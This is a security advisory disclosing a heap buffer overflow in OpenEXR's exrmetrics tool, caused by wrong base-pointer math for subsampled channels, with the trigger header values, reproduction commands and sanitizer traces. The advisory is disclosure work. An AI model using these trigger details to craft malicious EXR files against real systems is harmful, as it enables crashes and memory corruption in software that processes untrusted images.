GHSA-7h7v-98cr-8ppw
CVE Information
OpenEXR v3.4.13 exrmetrics subsampled positive-origin heap buffer overflow
Summary
A crafted scanline EXR with a positive non-zero
dataWindoworigin and a subsampled channel crashes the shippedexrmetricsutility. The file is accepted byexrinfo, butexrmetricsbuilds an incorrectFrameBufferbase pointer and OpenEXR writes before the channel backing buffer duringreadPixels().Fresh local validation reproduces on both OpenEXR v3.4.13 and local upstream
main:v3.4.13 exrinfo: rc 0 v3.4.13 original exrmetrics: rc 139 SIGSEGV v3.4.13 ASAN exrmetrics: rc 134, heap-buffer-overflow, WRITE of size 16 main exrinfo: rc 0 main original exrmetrics: rc 139 SIGSEGV main ASAN exrmetrics: rc 134, heap-buffer-overflow, WRITE of size 16Root cause
Affected code:
src/bin/exrmetrics/exrmetrics.cpp:initScanLine().
exrmetricsallocates one vector per channel, then manually offsets theSlicebase pointer by the full pixel-space origin:uint64_t offsetToOrigin = width * static_cast<uint64_t> (dw.min.y) + static_cast<uint64_t> (dw.min.x); ... Slice (type, pixelData[channelNumber].data () - offsetToOrigin * samplesize, samplesize, samplesize * width, xSampling, ySampling)That math is wrong for subsampled channels. OpenEXR's reader later addresses subsampled coordinates with divided sample coordinates (
x / xSampling,y / ySampling). The correct base adjustment must account fororigin.x / xSamplingandorigin.y / ySampling, asSlice::Make()does.PoC header shape:
dataWindow = (2,2) - (17,17) channel Y = HALF, xSampling=2, ySampling=2 width = 16, samplesize = 2
exrmetricssubtracts(2 + 2 * 16) * 2 = 68bytes from the vector base. The decoder adds back only(2 / 2) * 2 + (2 / 2) * 32 = 34bytes. Final write starts 34 bytes before the heap allocation.This is not a caller-precondition-only issue: a standalone EXR file supplied to a shipped CLI tool reaches the bug through normal file processing.
PoC package
poc.zipis trimmed to required material only:reproduce.sh poc_materials/valid_2_2.exr poc_materials/src/mk_subsample.cpp poc_materials/src/read_subsample.cpp poc_materials/logs/final/summary.txt poc_materials/logs/final/v3413_exrinfo.* poc_materials/logs/final/v3413_original.* poc_materials/logs/final/v3413_asan.* poc_materials/logs/final/main_exrinfo.* poc_materials/logs/final/main_original.* poc_materials/logs/final/main_asan.*No
report.md, README, SHA256-only file, AFL output, sanitizer-noise logs, or compiled helper binary is included.Reproduction
From extracted
poc.zip:OPENEXR_ROOT=/home/br0nzu/openexr/v3.4.13 ./reproduce.shManual:
POC=poc_materials/valid_2_2.exr $OPENEXR_ROOT/builds/original/bin/exrinfo "$POC" # rc 0 $OPENEXR_ROOT/builds/original/bin/exrmetrics "$POC" # rc 139 SIGSEGV ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1:allocator_may_return_null=1:symbolize=1' $OPENEXR_ROOT/builds/asan/bin/exrmetrics "$POC" # rc 134, heap-buffer-overflowImpact
Demonstrated: reliable crash / denial of service in
exrmetrics, with ASAN-confirmed heap out-of-bounds write before astd::vector<char>channel buffer. The trigger is an untrusted EXR file processed by a shipped OpenEXR utility.Full sanitizer output
v3.4.13 ASAN stderr
================================================================= ==99981==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51500000005e at pc 0x6353b0092772 bp 0x7ffe220e9580 sp 0x7ffe220e8d48 WRITE of size 16 at 0x51500000005e thread T0 #0 0x6353b0092771 in pread64 (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x98771) (BuildId: fa242874db34d874c56edec63c457afecdd74b69) #1 0x6353b02c2e1b in default_read_func /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/internal_posix_file_impl.h:177:14 #2 0x6353b02bf5fe in dispatch_read /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/context.c:51:16 #3 0x6353b033fe63 in read_uncompressed_direct /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:131:18 #4 0x6353b03408f3 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:567:10 #5 0x6353b026c096 in Imf_3_4::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_3_4::FrameBuffer const*, int, int, std::vector<Imf_3_4::Slice, std::allocator<Imf_3_4::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23 #6 0x6353b0269e2c in Imf_3_4::ScanLineInputFile::Data::readPixels(Imf_3_4::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21 #7 0x6353b025fbc9 in Imf_3_4::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #8 0x6353b015d586 in readScanLine(Imf_3_4::InputPart&, Imf_3_4::FrameBuffer&, std::vector<double, std::allocator<double>>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:126:8 #9 0x6353b0163e4a in initAndReadFile(Imf_3_4::MultiPartInputFile&, std::vector<Imf_3_4::Header, std::allocator<Imf_3_4::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:680:13 #10 0x6353b0167386 in exrmetrics(char const*, char const*, int, Imf_3_4::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:1090:5 #11 0x6353b0153f29 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/main.cpp:540:41 #12 0x701dcd62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x701dcd62a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x6353b0074664 in _start (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x7a664) (BuildId: fa242874db34d874c56edec63c457afecdd74b69) 0x51500000005e is located 34 bytes before 512-byte region [0x515000000080,0x515000000280) allocated by thread T0 here: #0 0x6353b014dad1 in operator new(unsigned long) (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x153ad1) (BuildId: fa242874db34d874c56edec63c457afecdd74b69) #1 0x6353b016c2fb in std::__new_allocator<char>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/new_allocator.h:151:27 #2 0x6353b016c2fb in std::allocator_traits<std::allocator<char>>::allocate(std::allocator<char>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/alloc_traits.h:482:20 #3 0x6353b016c2fb in std::_Vector_base<char, std::allocator<char>>::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:381:20 #4 0x6353b016c2fb in std::vector<char, std::allocator<char>>::_M_default_append(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/vector.tcc:663:34 #5 0x6353b015cf2f in std::vector<char, std::allocator<char>>::resize(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:1016:4 #6 0x6353b015cf2f in initScanLine(std::vector<std::vector<char, std::allocator<char>>, std::allocator<std::vector<char, std::allocator<char>>>>&, Imf_3_4::FrameBuffer&, Imf_3_4::InputPart&, Imf_3_4::Header const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:97:34 #7 0x6353b01633d6 in initAndReadFile(Imf_3_4::MultiPartInputFile&, std::vector<Imf_3_4::Header, std::allocator<Imf_3_4::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:667:41 #8 0x6353b0167386 in exrmetrics(char const*, char const*, int, Imf_3_4::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/exrmetrics.cpp:1090:5 #9 0x6353b0153f29 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/bin/exrmetrics/main.cpp:540:41 #10 0x701dcd62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #11 0x701dcd62a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #12 0x6353b0074664 in _start (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x7a664) (BuildId: fa242874db34d874c56edec63c457afecdd74b69) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/br0nzu/openexr/v3.4.13/builds/asan/bin/exrmetrics+0x98771) (BuildId: fa242874db34d874c56edec63c457afecdd74b69) in pread64 Shadow bytes around the buggy address: 0x514ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x515000000000: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa 0x515000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==99981==ABORTING timeout: the monitored command dumped coreupstream main ASAN stderr
================================================================= ==99989==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51500000005e at pc 0x56f8843fc762 bp 0x7ffdf8756b60 sp 0x7ffdf8756328 WRITE of size 16 at 0x51500000005e thread T0 #0 0x56f8843fc761 in pread64 (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x98761) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1) #1 0x56f8846306bb in default_read_func /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/internal_posix_file_impl.h:177:14 #2 0x56f88462ce9e in dispatch_read /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/context.c:51:16 #3 0x56f8846ad703 in read_uncompressed_direct /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/decoding.c:131:18 #4 0x56f8846ae193 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXRCore/decoding.c:567:10 #5 0x56f8845d9956 in Imf_4_0::(anonymous namespace)::ScanLineProcess::run_decode(_priv_exr_context_t const*, int, Imf_4_0::FrameBuffer const*, int, int, std::vector<Imf_4_0::Slice, std::allocator<Imf_4_0::Slice>> const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfScanLineInputFile.cpp:586:23 #6 0x56f8845d771c in Imf_4_0::ScanLineInputFile::Data::readPixels(Imf_4_0::FrameBuffer const&, int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfScanLineInputFile.cpp:500:21 #7 0x56f8845cd4d9 in Imf_4_0::InputFile::Data::readPixels(int, int) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/lib/OpenEXR/ImfInputFile.cpp:458:20 #8 0x56f8844c7576 in readScanLine(Imf_4_0::InputPart&, Imf_4_0::FrameBuffer&, std::vector<double, std::allocator<double>>&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:126:8 #9 0x56f8844cde3a in initAndReadFile(Imf_4_0::MultiPartInputFile&, std::vector<Imf_4_0::Header, std::allocator<Imf_4_0::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:680:13 #10 0x56f8844d1376 in exrmetrics(char const*, char const*, int, Imf_4_0::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:1090:5 #11 0x56f8844bdf19 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/main.cpp:540:41 #12 0x73d578a2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x73d578a2a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x56f8843de654 in _start (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x7a654) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1) 0x51500000005e is located 34 bytes before 512-byte region [0x515000000080,0x515000000280) allocated by thread T0 here: #0 0x56f8844b7ac1 in operator new(unsigned long) (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x153ac1) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1) #1 0x56f8844d62eb in std::__new_allocator<char>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/new_allocator.h:151:27 #2 0x56f8844d62eb in std::allocator_traits<std::allocator<char>>::allocate(std::allocator<char>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/alloc_traits.h:482:20 #3 0x56f8844d62eb in std::_Vector_base<char, std::allocator<char>>::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:381:20 #4 0x56f8844d62eb in std::vector<char, std::allocator<char>>::_M_default_append(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/vector.tcc:663:34 #5 0x56f8844c6f1f in std::vector<char, std::allocator<char>>::resize(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/stl_vector.h:1016:4 #6 0x56f8844c6f1f in initScanLine(std::vector<std::vector<char, std::allocator<char>>, std::allocator<std::vector<char, std::allocator<char>>>>&, Imf_4_0::FrameBuffer&, Imf_4_0::InputPart&, Imf_4_0::Header const&) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:97:34 #7 0x56f8844cd3c6 in initAndReadFile(Imf_4_0::MultiPartInputFile&, std::vector<Imf_4_0::Header, std::allocator<Imf_4_0::Header>> const&, int, std::vector<partData, std::allocator<partData>>&, fileMetrics&, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:667:41 #8 0x56f8844d1376 in exrmetrics(char const*, char const*, int, Imf_4_0::Compression, float, int, bool, bool, PixelMode, bool) /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/exrmetrics.cpp:1090:5 #9 0x56f8844bdf19 in main /home/br0nzu/openexr/v3.4.13/sources/openexr-main/src/bin/exrmetrics/main.cpp:540:41 #10 0x73d578a2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #11 0x73d578a2a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #12 0x56f8843de654 in _start (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x7a654) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/br0nzu/openexr/v3.4.13/builds/main_asan/bin/exrmetrics+0x98761) (BuildId: 3d3ff45e66965829901c30bba996d1dddc92b7e1) in pread64 Shadow bytes around the buggy address: 0x514ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x514fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x515000000000: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa 0x515000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x515000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==99989==ABORTING timeout: the monitored command dumped core